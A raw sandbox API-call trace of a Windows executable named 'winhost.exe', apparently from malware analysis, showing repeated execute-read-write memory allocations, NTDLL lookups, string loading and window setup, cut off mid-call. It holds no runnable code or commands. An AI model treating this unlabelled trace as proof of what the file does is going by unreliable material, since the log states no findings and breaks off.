lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x49558d | out: lpflOldProtect=0x49558d*=0x4) returned 1 [0027.053] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x495e65 | out: lpflOldProtect=0x495e65*=0x4) returned 1 [0027.055] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x40) returned 0x2b0000 [0027.056] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x40) returned 0x2c0000 [0027.056] VirtualAlloc (lpAddress=0x0, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x40) returned 0x380000 [0027.057] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x40) returned 0x390000 [0027.057] VirtualAlloc (lpAddress=0x0, dwSize=0x153c, flAllocationType=0x1000, flProtect=0x40) returned 0x3a0000 [0027.058] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77a40000 [0027.058] VirtualAlloc (lpAddress=0x0, dwSize=0xedf, flAllocationType=0x1000, flProtect=0x40) returned 0x3b0000 [0027.059] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77a40000 [0027.059] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77a40000 [0027.059] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77a40000 [0027.059] VirtualAlloc (lpAddress=0x0, dwSize=0x19f, flAllocationType=0x1000, flProtect=0x40) returned 0x3c0000 [0027.061] VirtualAlloc (lpAddress=0x0, dwSize=0x172b, flAllocationType=0x1000, flProtect=0x40) returned 0x3d0000 [0027.061] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77a40000 [0027.062] VirtualAlloc (lpAddress=0x0, dwSize=0x747, flAllocationType=0x1000, flProtect=0x40) returned 0x3e0000 [0027.063] VirtualAlloc (lpAddress=0x0, dwSize=0xc7a, flAllocationType=0x1000, flProtect=0x40) returned 0x3f0000 [0027.063] VirtualFree (lpAddress=0x3a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0027.063] VirtualAlloc (lpAddress=0x0, dwSize=0xcd8, flAllocationType=0x1000, flProtect=0x40) returned 0x3a0000 [0027.064] VirtualAlloc (lpAddress=0x0, dwSize=0x93f, flAllocationType=0x1000, flProtect=0x40) returned 0x900000 [0027.064] VirtualFree (lpAddress=0x3a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0027.065] VirtualAlloc (lpAddress=0x0, dwSize=0xc94, flAllocationType=0x1000, flProtect=0x40) returned 0x3a0000 [0027.065] VirtualAlloc (lpAddress=0x0, dwSize=0x120, flAllocationType=0x1000, flProtect=0x40) returned 0x910000 [0027.066] VirtualFree (lpAddress=0x3a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0027.066] VirtualAlloc (lpAddress=0x0, dwSize=0x640, flAllocationType=0x1000, flProtect=0x40) returned 0x3a0000 [0027.066] VirtualFree (lpAddress=0x3a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0027.066] VirtualAlloc (lpAddress=0x0, dwSize=0x153c, flAllocationType=0x1000, flProtect=0x40) returned 0x3a0000 [0027.067] VirtualFree (lpAddress=0x3a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0027.068] VirtualAlloc (lpAddress=0x0, dwSize=0xc94, flAllocationType=0x1000, flProtect=0x40) returned 0x3a0000 [0027.068] VirtualFree (lpAddress=0x3a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0027.068] VirtualAlloc (lpAddress=0x0, dwSize=0x153c, flAllocationType=0x1000, flProtect=0x40) returned 0x3a0000 [0027.070] VirtualAlloc (lpAddress=0x0, dwSize=0xa4, flAllocationType=0x1000, flProtect=0x40) returned 0x920000 [0027.071] VirtualAlloc (lpAddress=0x0, dwSize=0x54e, flAllocationType=0x1000, flProtect=0x40) returned 0x930000 [0027.071] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77a40000 [0027.071] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77a40000 [0027.072] VirtualAlloc (lpAddress=0x0, dwSize=0xbd5, flAllocationType=0x1000, flProtect=0x40) returned 0x940000 [0027.073] VirtualAlloc (lpAddress=0x0, dwSize=0x4eb, flAllocationType=0x1000, flProtect=0x40) returned 0x950000 [0027.073] VirtualAlloc (lpAddress=0x0, dwSize=0x103, flAllocationType=0x1000, flProtect=0x40) returned 0x960000 [0027.074] VirtualAlloc (lpAddress=0x0, dwSize=0x91, flAllocationType=0x1000, flProtect=0x40) returned 0x970000 [0027.076] VirtualAlloc (lpAddress=0x0, dwSize=0x1129, flAllocationType=0x1000, flProtect=0x40) returned 0x980000 [0027.077] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77a40000 [0027.077] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77a40000 [0027.077] VirtualAlloc (lpAddress=0x0, dwSize=0xf39, flAllocationType=0x1000, flProtect=0x40) returned 0x990000 [0027.078] VirtualAlloc (lpAddress=0x0, dwSize=0x536, flAllocationType=0x1000, flProtect=0x40) returned 0x9a0000 [0027.078] VirtualFree (lpAddress=0x3a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0027.078] VirtualAlloc (lpAddress=0x0, dwSize=0x3c, flAllocationType=0x1000, flProtect=0x40) returned 0x3a0000 [0027.078] VirtualFree (lpAddress=0x3a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0027.079] VirtualAlloc (lpAddress=0x0, dwSize=0xb2c, flAllocationType=0x1000, flProtect=0x40) returned 0x3a0000 [0027.080] VirtualFree (lpAddress=0x3a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0027.080] VirtualAlloc (lpAddress=0x0, dwSize=0xcd8, flAllocationType=0x1000, flProtect=0x40) returned 0x3a0000 [0027.081] VirtualAlloc (lpAddress=0x0, dwSize=0xbed, flAllocationType=0x1000, flProtect=0x40) returned 0x9b0000 [0027.082] VirtualAlloc (lpAddress=0x0, dwSize=0xd5d, flAllocationType=0x1000, flProtect=0x40) returned 0x9c0000 [0027.082] VirtualAlloc (lpAddress=0x0, dwSize=0x1bd, flAllocationType=0x1000, flProtect=0x40) returned 0x9d0000 [0027.084] VirtualAlloc (lpAddress=0x0, dwSize=0xc2, flAllocationType=0x1000, flProtect=0x40) returned 0x9e0000 [0027.085] VirtualAlloc (lpAddress=0x0, dwSize=0x4f9, flAllocationType=0x1000, flProtect=0x40) returned 0x9f0000 [0027.085] VirtualAlloc (lpAddress=0x0, dwSize=0x3dc, flAllocationType=0x1000, flProtect=0x40) returned 0xa00000 [0027.086] VirtualAlloc (lpAddress=0x0, dwSize=0x4ab, flAllocationType=0x1000, flProtect=0x40) returned 0xa10000 [0027.087] VirtualAlloc (lpAddress=0x0, dwSize=0x37c, flAllocationType=0x1000, flProtect=0x40) returned 0xa20000 [0027.088] VirtualAlloc (lpAddress=0x0, dwSize=0x2fa, flAllocationType=0x1000, flProtect=0x40) returned 0x2520000 [0027.089] VirtualAlloc (lpAddress=0x0, dwSize=0xc95, flAllocationType=0x1000, flProtect=0x40) returned 0x2530000 [0027.089] VirtualAlloc (lpAddress=0x0, dwSize=0x18c, flAllocationType=0x1000, flProtect=0x40) returned 0x2540000 [0027.090] VirtualAlloc (lpAddress=0x0, dwSize=0x86f, flAllocationType=0x1000, flProtect=0x40) returned 0x2550000 [0027.091] VirtualAlloc (lpAddress=0x0, dwSize=0x17c, flAllocationType=0x1000, flProtect=0x40) returned 0x2560000 [0027.092] VirtualAlloc (lpAddress=0x0, dwSize=0x2a8, flAllocationType=0x1000, flProtect=0x40) returned 0x2570000 [0027.092] VirtualAlloc (lpAddress=0x0, dwSize=0x4fa, flAllocationType=0x1000, flProtect=0x40) returned 0x2580000 [0027.093] VirtualAlloc (lpAddress=0x0, dwSize=0x5b7, flAllocationType=0x1000, flProtect=0x40) returned 0x2590000 [0027.094] VirtualAlloc (lpAddress=0x0, dwSize=0x5fb, flAllocationType=0x1000, flProtect=0x40) returned 0x25a0000 [0027.095] VirtualAlloc (lpAddress=0x0, dwSize=0x4cc, flAllocationType=0x1000, flProtect=0x40) returned 0x25b0000 [0027.096] VirtualAlloc (lpAddress=0x0, dwSize=0x3f8, flAllocationType=0x1000, flProtect=0x40) returned 0x25c0000 [0027.096] VirtualAlloc (lpAddress=0x0, dwSize=0x29b, flAllocationType=0x1000, flProtect=0x40) returned 0x25d0000 [0027.097] VirtualAlloc (lpAddress=0x0, dwSize=0x471, flAllocationType=0x1000, flProtect=0x40) returned 0x25e0000 [0027.098] VirtualAlloc (lpAddress=0x0, dwSize=0x7e7, flAllocationType=0x1000, flProtect=0x40) returned 0x25f0000 [0027.099] VirtualAlloc (lpAddress=0x0, dwSize=0x34e, flAllocationType=0x1000, flProtect=0x40) returned 0x2600000 [0027.100] VirtualAlloc (lpAddress=0x0, dwSize=0x9b8, flAllocationType=0x1000, flProtect=0x40) returned 0x2610000 [0027.101] VirtualAlloc (lpAddress=0x0, dwSize=0x95, flAllocationType=0x1000, flProtect=0x40) returned 0x2620000 [0027.102] VirtualAlloc (lpAddress=0x0, dwSize=0x393, flAllocationType=0x1000, flProtect=0x40) returned 0x2630000 [0027.103] VirtualAlloc (lpAddress=0x0, dwSize=0x348, flAllocationType=0x1000, flProtect=0x40) returned 0x2640000 [0027.104] VirtualAlloc (lpAddress=0x0, dwSize=0x716, flAllocationType=0x1000, flProtect=0x40) returned 0x2650000 [0027.105] VirtualAlloc (lpAddress=0x0, dwSize=0x849, flAllocationType=0x1000, flProtect=0x40) returned 0x2660000 [0027.107] VirtualAlloc (lpAddress=0x0, dwSize=0x1a33, flAllocationType=0x1000, flProtect=0x40) returned 0x2670000 [0027.107] VirtualAlloc (lpAddress=0x0, dwSize=0xa0, flAllocationType=0x1000, flProtect=0x40) returned 0x2690000 [0027.108] VirtualAlloc (lpAddress=0x0, dwSize=0x37d, flAllocationType=0x1000, flProtect=0x40) returned 0x26a0000 [0027.109] VirtualAlloc (lpAddress=0x0, dwSize=0x27e, flAllocationType=0x1000, flProtect=0x40) returned 0x26b0000 [0027.110] VirtualAlloc (lpAddress=0x0, dwSize=0x7d, flAllocationType=0x1000, flProtect=0x40) returned 0x26c0000 [0027.110] VirtualFree (lpAddress=0x3a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0027.111] VirtualAlloc (lpAddress=0x0, dwSize=0x153c, flAllocationType=0x1000, flProtect=0x40) returned 0x3a0000 [0027.111] VirtualFree (lpAddress=0x3a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0027.111] VirtualAlloc (lpAddress=0x0, dwSize=0x640, flAllocationType=0x1000, flProtect=0x40) returned 0x3a0000 [0027.112] VirtualFree (lpAddress=0x3a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0027.112] VirtualAlloc (lpAddress=0x0, dwSize=0x1d8, flAllocationType=0x1000, flProtect=0x40) returned 0x3a0000 [0027.139] VirtualFree (lpAddress=0x3a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0027.139] VirtualAlloc (lpAddress=0x0, dwSize=0x70, flAllocationType=0x1000, flProtect=0x40) returned 0x3a0000 [0027.147] VirtualFree (lpAddress=0x3a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0027.147] VirtualFree (lpAddress=0x260000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0027.148] VirtualFree (lpAddress=0x2a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0027.148] VirtualFree (lpAddress=0x380000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0027.148] VirtualFree (lpAddress=0x390000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0027.148] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0027.148] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x71e0a4 | out: Wow64Process=0x71e0a4) returned 1 [0027.151] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x49558d | out: lpflOldProtect=0x49558d*=0x4) returned 1 [0027.151] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x495e65 | out: lpflOldProtect=0x495e65*=0x4) returned 1 [0027.151] GetProcAddress (hModule=0x77a40000, lpProcName="RtlAllocateHeap") returned 0x77a6e026 [0027.151] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x49558d | out: lpflOldProtect=0x49558d*=0x4) returned 1 [0027.151] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x495df3 | out: lpflOldProtect=0x495df3*=0x4) returned 1 [0027.151] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\winhost.exe\" " [0027.152] GetVersion () returned 0x1db10106 [0027.152] GetVersion () returned 0x1db10106 [0027.152] GetCurrentThreadId () returned 0x964 [0027.152] GetThreadLocale () returned 0x409 [0027.152] LoadStringBaseExW () returned 0x1c [0027.153] WCSToMBEx () returned 0x1c [0027.153] LoadStringBaseExW () returned 0x17 [0027.153] WCSToMBEx () returned 0x17 [0027.153] LoadStringBaseExW () returned 0x15 [0027.153] WCSToMBEx () returned 0x15 [0027.153] LoadStringBaseExW () returned 0x10 [0027.153] WCSToMBEx () returned 0x10 [0027.153] LoadStringBaseExW () returned 0x29 [0027.153] WCSToMBEx () returned 0x29 [0027.153] LoadStringBaseExW () returned 0x10 [0027.153] WCSToMBEx () returned 0x10 [0027.153] LoadStringBaseExW () returned 0x24 [0027.153] WCSToMBEx () returned 0x24 [0027.153] LoadStringBaseExW () returned 0x22 [0027.153] WCSToMBEx () returned 0x22 [0027.153] LoadStringBaseExW () returned 0x19 [0027.153] WCSToMBEx () returned 0x19 [0027.153] LoadStringBaseExW () returned 0x1f [0027.153] WCSToMBEx () returned 0x1f [0027.153] LoadStringBaseExW () returned 0xe [0027.153] WCSToMBEx () returned 0xe [0027.153] LoadStringBaseExW () returned 0xd [0027.153] WCSToMBEx () returned 0xd [0027.153] LoadStringBaseExW () returned 0x16 [0027.153] WCSToMBEx () returned 0x16 [0027.153] LoadStringBaseExW () returned 0x10 [0027.153] WCSToMBEx () returned 0x10 [0027.153] LoadStringBaseExW () returned 0x16 [0027.153] WCSToMBEx () returned 0x16 [0027.153] LoadStringBaseExW () returned 0x18 [0027.153] WCSToMBEx () returned 0x18 [0027.153] LoadStringBaseExW () returned 0x17 [0027.153] WCSToMBEx () returned 0x17 [0027.153] LoadStringBaseExW () returned 0x1f [0027.153] WCSToMBEx () returned 0x1f [0027.153] LoadStringBaseExW () returned 0x20 [0027.153] WCSToMBEx () returned 0x20 [0027.153] LoadStringBaseExW () returned 0x10 [0027.153] WCSToMBEx () returned 0x10 [0027.153] LoadStringBaseExW () returned 0x11 [0027.153] WCSToMBEx () returned 0x11 [0027.153] LoadStringBaseExW () returned 0x10 [0027.154] WCSToMBEx () returned 0x10 [0027.154] LoadStringBaseExW () returned 0x15 [0027.154] WCSToMBEx () returned 0x15 [0027.154] LoadStringBaseExW () returned 0x9 [0027.154] WCSToMBEx () returned 0x9 [0027.154] LoadStringBaseExW () returned 0x17 [0027.154] WCSToMBEx () returned 0x17 [0027.154] LoadStringBaseExW () returned 0x12 [0027.154] WCSToMBEx () returned 0x12 [0027.154] LoadStringBaseExW () returned 0x13 [0027.154] WCSToMBEx () returned 0x13 [0027.154] LoadStringBaseExW () returned 0x10 [0027.154] WCSToMBEx () returned 0x10 [0027.154] LoadStringBaseExW () returned 0xe [0027.154] WCSToMBEx () returned 0xe [0027.154] LoadStringBaseExW () returned 0xd [0027.154] WCSToMBEx () returned 0xd [0027.154] LoadStringBaseExW () returned 0x19 [0027.154] WCSToMBEx () returned 0x19 [0027.154] GetThreadLocale () returned 0x409 [0027.154] GetThreadLocale () returned 0x409 [0027.154] GetThreadLocale () returned 0x409 [0027.155] GetThreadLocale () returned 0x409 [0027.155] GetThreadLocale () returned 0x409 [0027.155] NtUserGetDC () returned 0x1010816 [0027.155] GetDeviceCaps (hdc=0x1010816, index=90) returned 96 [0027.155] GdiReleaseDC () returned 0x1 [0027.155] NtUserCallOneParam (Param=0x1010816, Routine=0x3b) returned 0x1 [0027.156] NtUserGetDC () returned 0x1010816 [0027.156] GetDeviceCaps (hdc=0x1010816, index=104) returned 0 [0027.156] GdiReleaseDC () returned 0x1 [0027.156] NtUserCallOneParam (Param=0x1010816, Routine=0x3b) returned 0x1 [0027.156] CreatePalette (plpal=0x18f500) returned 0x4c080808 [0027.156] GetStockObject (i=7) returned 0x1b00017 [0027.156] GetStockObject (i=5) returned 0x1900015 [0027.156] GetStockObject (i=13) returned 0x18a002e [0027.156] LoadIconW (hInstance=0x0, lpIconName=0x7f00) returned 0x10027 [0027.156] LoadStringBaseExW () returned 0x4 [0027.156] WCSToMBEx () returned 0x4 [0027.156] LoadStringBaseExW () returned 0x5 [0027.156] WCSToMBEx () returned 0x5 [0027.156] LoadStringBaseExW () returned 0x6 [0027.156] WCSToMBEx () returned 0x6 [0027.156] LoadStringBaseExW () returned 0x3 [0027.156] WCSToMBEx () returned 0x3 [0027.156] LoadStringBaseExW () returned 0x3 [0027.156] WCSToMBEx () returned 0x3 [0027.156] LoadStringBaseExW () returned 0x4 [0027.156] WCSToMBEx () returned 0x4 [0027.156] LoadStringBaseExW () returned 0x5 [0027.156] WCSToMBEx () returned 0x5 [0027.156] LoadStringBaseExW () returned 0x2 [0027.156] WCSToMBEx () returned 0x2 [0027.156] LoadStringBaseExW () returned 0x4 [0027.156] WCSToMBEx () returned 0x4 [0027.156] LoadStringBaseExW () returned 0x4 [0027.156] WCSToMBEx () returned 0x4 [0027.156] LoadStringBaseExW () returned 0x3 [0027.156] WCSToMBEx () returned 0x3 [0027.156] LoadStringBaseExW () returned 0x4 [0027.156] WCSToMBEx () returned 0x4 [0027.156] LoadStringBaseExW () returned 0x4 [0027.156] WCSToMBEx () returned 0x4 [0027.156] LoadStringBaseExW () returned 0x5 [0027.156] WCSToMBEx () returned 0x5 [0027.156] LoadStringBaseExW () returned 0x5 [0027.156] WCSToMBEx () returned 0x5 [0027.156] LoadStringBaseExW () returned 0x3 [0027.156] WCSToMBEx () returned 0x3 [0027.156] LoadStringBaseExW () returned 0x3 [0027.156] WCSToMBEx () returned 0x3 [0027.156] LoadStringBaseExW () returned 0x4 [0027.156] WCSToMBEx () returned 0x4 [0027.157] RtlCaptureAnsiString () returned 0x1 [0027.157] NtUserRegisterWindowMessage () returned 0xc0ec [0027.157] RtlCaptureAnsiString () returned 0x1 [0027.157] NtUserRegisterWindowMessage () returned 0xc0fd [0027.157] GetCurrentThreadId () returned 0x964 [0027.157] InternalAddAtom () returned 0xc17b [0027.157] LoadStringBaseExW () returned 0xb [0027.157] WCSToMBEx () returned 0xb [0027.157] LoadStringBaseExW () returned 0xc [0027.157] WCSToMBEx () returned 0xc [0027.157] LoadStringBaseExW () returned 0x11 [0027.157] WCSToMBEx () returned 0x11 [0027.157] LoadStringBaseExW () returned 0x8 [0027.157] WCSToMBEx () returned 0x8 [0027.157] LoadStringBaseExW () returned 0xe [0027.157] WCSToMBEx () returned 0xe [0027.157] LoadStringBaseExW () returned 0xa [0027.157] WCSToMBEx () returned 0xa [0027.157] LoadStringBaseExW () returned 0x4 [0027.157] WCSToMBEx () returned 0x4 [0027.157] LoadStringBaseExW () returned 0x9 [0027.157] WCSToMBEx () returned 0x9 [0027.157] LoadStringBaseExW () returned 0xf [0027.157] WCSToMBEx () returned 0xf [0027.157] LoadStringBaseExW () returned 0x9 [0027.157] WCSToMBEx () returned 0x9 [0027.157] LoadStringBaseExW () returned 0xf [0027.157] WCSToMBEx () returned 0xf [0027.157] LoadStringBaseExW () returned 0x15 [0027.157] WCSToMBEx () returned 0x15 [0027.157] LoadStringBaseExW () returned 0x10 [0027.157] WCSToMBEx () returned 0x10 [0027.157] LoadStringBaseExW () returned 0xf [0027.157] WCSToMBEx () returned 0xf [0027.157] LoadStringBaseExW () returned 0xe [0027.157] WCSToMBEx () returned 0xe [0027.157] LoadStringBaseExW () returned 0x14 [0027.157] WCSToMBEx () returned 0x14 [0027.157] LoadStringBaseExW () returned 0x9 [0027.157] WCSToMBEx () returned 0x9 [0027.157] LoadStringBaseExW () returned 0x7 [0027.157] WCSToMBEx () returned 0x7 [0027.157] LoadStringBaseExW () returned 0xc [0027.158] WCSToMBEx () returned 0xc [0027.158] LoadStringBaseExW () returned 0xb [0027.158] WCSToMBEx () returned 0xb [0027.158] LoadStringBaseExW () returned 0xd [0027.158] WCSToMBEx () returned 0xd [0027.158] LoadStringBaseExW () returned 0x10 [0027.158] WCSToMBEx () returned 0x10 [0027.158] LoadStringBaseExW () returned 0xb [0027.158] WCSToMBEx () returned 0xb [0027.158] LoadStringBaseExW () returned 0xa [0027.158] WCSToMBEx () returned 0xa [0027.158] LoadStringBaseExW () returned 0x15 [0027.158] WCSToMBEx () returned 0x15 [0027.158] LoadStringBaseExW () returned 0xe [0027.158] WCSToMBEx () returned 0xe [0027.158] LoadStringBaseExW () returned 0xd [0027.158] WCSToMBEx () returned 0xd [0027.158] LoadStringBaseExW () returned 0xb [0027.158] WCSToMBEx () returned 0xb [0027.158] LoadStringBaseExW () returned 0x5 [0027.158] WCSToMBEx () returned 0x5 [0027.158] LoadStringBaseExW () returned 0x8 [0027.158] WCSToMBEx () returned 0x8 [0027.158] LoadStringBaseExW () returned 0xb [0027.158] WCSToMBEx () returned 0xb [0027.158] LoadStringBaseExW () returned 0x5 [0027.158] WCSToMBEx () returned 0x5 [0027.158] LoadStringBaseExW () returned 0x4 [0027.158] WCSToMBEx () returned 0x4 [0027.158] LoadStringBaseExW () returned 0x7 [0027.158] WCSToMBEx () returned 0x7 [0027.158] LoadStringBaseExW () returned 0x4 [0027.158] WCSToMBEx () returned 0x4 [0027.158] LoadStringBaseExW () returned 0x6 [0027.158] WCSToMBEx () returned 0x6 [0027.158] LoadStringBaseExW () returned 0x4 [0027.158] WCSToMBEx () returned 0x4 [0027.158] LoadStringBaseExW () returned 0x3 [0027.158] WCSToMBEx () returned 0x3 [0027.158] LoadStringBaseExW () returned 0x6 [0027.158] WCSToMBEx () returned 0x6 [0027.158] LoadStringBaseExW () returned 0x4 [0027.158] WCSToMBEx () returned 0x4 [0027.158] LoadStringBaseExW () returned 0x4 [0027.158] WCSToMBEx () returned 0x4 [0027.158] LoadStringBaseExW () returned 0x6 [0027.158] WCSToMBEx () returned 0x6 [0027.158] LoadStringBaseExW () returned 0x4 [0027.158] WCSToMBEx () returned 0x4 [0027.158] LoadStringBaseExW () returned 0x5 [0027.158] WCSToMBEx () returned 0x5 [0027.158] LoadStringBaseExW () returned 0x5 [0027.158] WCSToMBEx () returned 0x5 [0027.158] LoadStringBaseExW () returned 0x6 [0027.158] WCSToMBEx () returned 0x6 [0027.158] LoadStringBaseExW () returned 0x5 [0027.158] WCSToMBEx () returned 0x5 [0027.158] RtlCaptureAnsiString () returned 0x1 [0027.158] NtUserRegisterWindowMessage () returned 0xc13f [0027.159] RtlCaptureAnsiString () returned 0x1 [0027.159] NtUserRegisterWindowMessage () returned 0xc141 [0027.159] GetVersion () returned 0x1db10106 [0027.159] GetCurrentProcessId () returned 0x960 [0027.159] InternalAddAtom () returned 0xc17a [0027.159] GetCurrentThreadId () returned 0x964 [0027.159] InternalAddAtom () returned 0xc179 [0027.159] RtlCaptureAnsiString () returned 0x1 [0027.159] NtUserRegisterWindowMessage () returned 0xc135 [0027.159] GetSystemMetrics (nIndex=19) returned 1 [0027.364] GetSystemMetrics (nIndex=75) returned 1 [0027.364] IsInsideUserApiHook () returned 0x1 [0027.364] _BeginIfHookedUserApiHook () returned 0x1 [0027.364] __SEH_epilog4 () returned 0x1 [0027.364] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0027.364] LoadCursorW (hInstance=0x0, lpCursorName=0x7f86) returned 0x10015 [0027.364] LoadCursorW (hInstance=0x400000, lpCursorName=0x7ff9) returned 0x20109 [0027.365] LoadCursorW (hInstance=0x0, lpCursorName=0x7f8b) returned 0x1001b [0027.365] LoadCursorW (hInstance=0x0, lpCursorName=0x7f8a) returned 0x10019 [0027.365] LoadCursorW (hInstance=0x0, lpCursorName=0x7f88) returned 0x10017 [0027.365] LoadCursorW (hInstance=0x400000, lpCursorName=0x7ffa) returned 0x2012b [0027.365] LoadCursorW (hInstance=0x400000, lpCursorName=0x7ffb) returned 0x80105 [0027.365] LoadCursorW (hInstance=0x400000, lpCursorName=0x7ffc) returned 0x601b9 [0027.365] LoadCursorW (hInstance=0x400000, lpCursorName=0x7ffd) returned 0x301ad [0027.365] LoadCursorW (hInstance=0x400000, lpCursorName=0x7fff) returned 0x601a7 [0027.365] LoadCursorW (hInstance=0x400000, lpCursorName=0x7ffe) returned 0x601a3 [0027.366] LoadCursorW (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007 [0027.366] LoadCursorW (hInstance=0x0, lpCursorName=0x7f04) returned 0x1000b [0027.366] LoadCursorW (hInstance=0x0, lpCursorName=0x7f84) returned 0x10011 [0027.366] LoadCursorW (hInstance=0x0, lpCursorName=0x7f82) returned 0x1000d [0027.366] LoadCursorW (hInstance=0x0, lpCursorName=0x7f85) returned 0x10013 [0027.366] LoadCursorW (hInstance=0x0, lpCursorName=0x7f83) returned 0x1000f [0027.366] LoadCursorW (hInstance=0x0, lpCursorName=0x7f86) returned 0x10015 [0027.366] LoadCursorW (hInstance=0x0, lpCursorName=0x7f01) returned 0x10005 [0027.366] LoadCursorW (hInstance=0x0, lpCursorName=0x7f03) returned 0x10009 [0027.366] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0027.366] NtUserCallOneParam (Param=0x0, Routine=0x2b) returned 0x4090409 [0027.366] NtUserGetDC () returned 0x1010816 [0027.366] GetDeviceCaps (hdc=0x1010816, index=90) returned 96 [0027.366] GdiReleaseDC () returned 0x1 [0027.366] NtUserCallOneParam (Param=0x1010816, Routine=0x3b) returned 0x1 [0027.366] EnumDisplayMonitors (hdc=0x0, lprcClip=0x0, lpfnEnum=0x448c2c, dwData=0x26d156c) returned 1 [0027.366] IsInsideUserApiHook () returned 0x1 [0027.366] _BeginIfHookedUserApiHook () returned 0x1 [0027.366] __SEH_epilog4 () returned 0x1 [0027.366] CreateFontIndirectA (lplf=0x18f867) returned 0x120a0823 [0027.366] GetObjectA (in: h=0x120a0823, c=60, pv=0x18f658 | out: pv=0x18f658) returned 60 [0027.367] IsInsideUserApiHook () returned 0x1 [0027.367] _BeginIfHookedUserApiHook () returned 0x1 [0027.367] __SEH_epilog4 () returned 0x1 [0027.367] CreateFontIndirectA (lplf=0x18f7ef) returned 0x110a0820 [0027.367] GetObjectA (in: h=0x110a0820, c=60, pv=0x18f658 | out: pv=0x18f658) returned 60 [0027.367] CreateFontIndirectA (lplf=0x18f7b3) returned 0xc0a0829 [0027.367] GetObjectA (in: h=0xc0a0829, c=60, pv=0x18f658 | out: pv=0x18f658) returned 60 [0027.370] GetClassInfoExA (in: hInstance=0x400000, lpszClass="TApplication", lpwcx=0x18f724 | out: lpwcx=0x18f724) returned 0 [0027.370] RegisterClassExWOWA () returned 0x20c139 [0027.370] GetSystemMetrics (nIndex=0) returned 1440 [0027.370] GetSystemMetrics (nIndex=1) returned 900 [0027.370] _CreateWindowEx () returned 0xb0124 [0027.442] _SetWindowLong () returned 0x406418 [0027.442] @ValidateHwnd@4 () returned 0xe72630 [0027.442] SendMessageWorker () returned 0x0 [0027.455] NtUserSetClassLong () returned 0x0 [0027.455] NtUserGetSystemMenu () returned 0x600a1 [0027.456] NtUserDeleteMenu () returned 0x1 [0027.456] NtUserDeleteMenu () returned 0x1 [0027.456] NtUserDeleteMenu () returned 0x1 [0027.456] NtUserGetKeyboardLayoutList () returned 0x1 [0027.458] RtlCaptureAnsiString () returned 0x1 [0027.458] NtUserRegisterWindowMessage () returned 0xc08f [0027.458] KernelBaseGetGlobalData () returned 0x77630000 [0027.458] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0xa4c2b0 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\") returned 0x25 [0027.458] KernelBaseGetGlobalData () returned 0x77630000 [0027.458] RtlUnicodeStringToAnsiString (in: DestinationString=0x18f8c8, SourceString="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\", AllocateDestinationString=0 | out: DestinationString="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\") returned 0x0 [0027.458] LoadStringBaseExW () returned 0x2 [0027.458] WCSToMBEx () returned 0x2 [0027.458] LoadStringBaseExW () returned 0x2 [0027.458] WCSToMBEx () returned 0x2 [0027.458] LoadStringBaseExW () returned 0x2 [0027.458] WCSToMBEx () returned 0x2 [0027.458] LoadStringBaseExW () returned 0x2 [0027.458] WCSToMBEx () returned 0x2 [0027.458] LoadStringBaseExW () returned 0xd [0027.458] WCSToMBEx () returned 0xd [0027.458] LoadStringBaseExW () returned 0xe [0027.458] WCSToMBEx () returned 0xe [0027.458] LoadStringBaseExW () returned 0xa [0027.458] WCSToMBEx () returned 0xa [0027.458] LoadStringBaseExW () returned 0x11 [0027.458] WCSToMBEx () returned 0x11 [0027.458] LoadStringBaseExW () returned 0x16 [0027.458] WCSToMBEx () returned 0x16 [0027.463] ScaleWindowExtEx (in: hdc=0x0, xn=0, xd=0, yn=0, yd=0, lpsz=0x0 | out: lpsz=0x0) returned 0 [0027.463] GetLastError () returned 0x6 [0033.372] NtUserCallTwoParam (Param1=0x462eb8, Param2=0x1, Routine=0x69) 